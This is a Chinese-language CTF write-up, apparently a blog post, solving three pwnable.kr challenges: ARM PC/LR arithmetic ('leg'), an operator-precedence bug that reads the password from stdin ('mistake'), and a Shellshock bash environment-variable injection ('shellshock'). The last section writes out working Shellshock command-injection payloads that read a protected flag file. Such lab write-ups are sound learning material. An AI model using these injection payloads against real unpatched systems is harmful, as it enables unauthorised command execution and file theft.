pwnable.kr-leg-mistake-shellshock

leg

#include <stdio.h>
#include <fcntl.h>
int key1(){
	asm("mov r3, pc\n");
}
int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
int key3(){
	asm("mov r3, lr\n");
}
int main(){
	int key=0;
	printf("Daddy has very strong arm! : ");
	scanf("%d", &key);
	if( (key1()+key2()+key3()) == key ){
		printf("Congratz!\n");
		int fd = open("flag", O_RDONLY);
		char buf[100];
		int r = read(fd, buf, 100);
		write(0, buf, r);
	}
	else{
		printf("I have strong leg :P\n");
	}
	return 0;
}

获取flag的条件是key1+key2+key3=key;

看来是一道考察某个基础知识点的题目,关键在于asm()函数。

asm()能把()内语句写入到汇编中执行,既然这样,直接看汇编代码。

(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:	add	r11, sp, #0
   0x00008cdc <+8>:	mov	r3, pc
   0x00008ce0 <+12>:	mov	r0, r3
   0x00008ce4 <+16>:	sub	sp, r11, #0
   0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec <+24>:	bx	lr
End of assembler dump.

可以看到move r3,pc这个在key1函数中出现的语句被写到了汇编中。

PC即寄存器R15,对于ARM指令集而言,PC总是指向当前指令的下两条指令的地址,即PC的值为当前指令的地址值加8个字节程序状态寄存器。由此可知r3的值就是0x00008cdc+8,然后下一条语句出现了r0,在ARM里r0是作为函数的返回值,所以key1=r0=r3=0x00008cdc+8.

(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
End of assembler dump.

根据上一步,看到mov r0,r3 所以key2=r0=r3=PC+4但是到这里往上逆推的时候出现了bx

BX: 带状态切换的跳转。最低位为1时,切换到Thumb指令执行,为0时,解释为ARM指令执行。

关于B开头的各种指令:https://blog.csdn.net/zhaolina004/article/details/48035079

因为R6=PC+1,所以bx跳转到Thumb模式,这时PC=当前程序地址+4

所以key2=0x00008d04+4+4

(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:	add	r11, sp, #0
   0x00008d28 <+8>:	mov	r3, lr
   0x00008d2c <+12>:	mov	r0, r3
   0x00008d30 <+16>:	sub	sp, r11, #0
   0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 <+24>:	bx	lr
End of assembler dump.

还是一样,key3=r0=r3=lr

R14称为子程序链接寄存器LR(Link Register)有两个特殊功能,一种是每一种模式下都可以用于保存函数的返回地址,另外就是异常处理后的返回地址,如中断。

这题里的lr是作为函数的返回地址,即main函数中执行完key3函数后的下一个程序语句的地址

   0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0

由此可得key3=lr=0x00008d80

写个python小程序做加法

a=0x8cdc+8
b=0x8d04+0x4+0x4
c=0x8d80
d=a+b+c;
print(d);

提交结果,得到flag

mistake

这题的题目描述里有个hint,提示我们这题关键在于运算符的优先级

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
    int i;
    for(i=0; i<len; i++){
        s[i] ^= XORKEY;
    }
}

int main(int argc, char* argv[]){
    
    int fd;
    if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
        printf("can't open password %d\n", fd);
        return 0;
    }

    printf("do not bruteforce...\n");
    sleep(time(0)%20);

    char pw_buf[PW_LEN+1];
    int len;
    if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
        printf("read error\n");
        close(fd);
        return 0;       
    }

    char pw_buf2[PW_LEN+1];
    printf("input password : ");
    scanf("%10s", pw_buf2);

    // xor your input
    xor(pw_buf2, 10);

    if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
        printf("Password OK\n");
        system("/bin/cat flag\n");
    }
    else{
        printf("Wrong Password\n");
    }

    close(fd);
    return 0;
}

第一个if语句里同时出现了=和<,这时候先执行<,然后才是执行=,因为password文件是可以打开的,所以open返回文件描述符0,0<0=false,所以fd=0

因此第二个if语句中的read其实是以fd作为文件描述符,即标准输入,把我们键盘输入的内容传给pwn_buf

因此这个程序是让我们在"input password"之前输入pw_buf的值,之后再输入pw_buf2的值,然后把pw_buf2的值按位异或0,接着再和pw_buf做比较,相等则strncmp返回0,执行system语句

所以可以输入0000000000 1111111111,总之pw_buf和pw_buf2每一位不同即可得到flag

shellshock

这题提示说是基于真实案例。shellshock漏洞存在于4.1版本之前的bash中。

通过往环境变量中添加执行语句,可以让bash执行任意命令

具体格式为

shellshock@ubuntu:~$ env x='() { :;}; echo v' ./bash -c "echo this is a test"

这样屏幕就会输出

v
this is a test

注意空格。

因为bash在执行之前会引入环境变量(env查看当前环境变量),这时候环境变量内如果有可执行语句,也会一起执行。

如果直接执行

shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag' ./bash -c "echo this is a test"
会返回

/bin/cat: flag: Permission denied
Segmentation fault
而shellshock中既调动了bash,还让我们有了访问flag的权限。

所以直接执行

shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag' ./shellshock

得到flag

//为什么会出现Segmentation fault,还有bash在读取环境变量时为何会执行语句,以及setresuid()和setresgid()两个函数的定义并没有搞清楚。

参考https://www.jianshu.com/p/434d2d370ed2

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值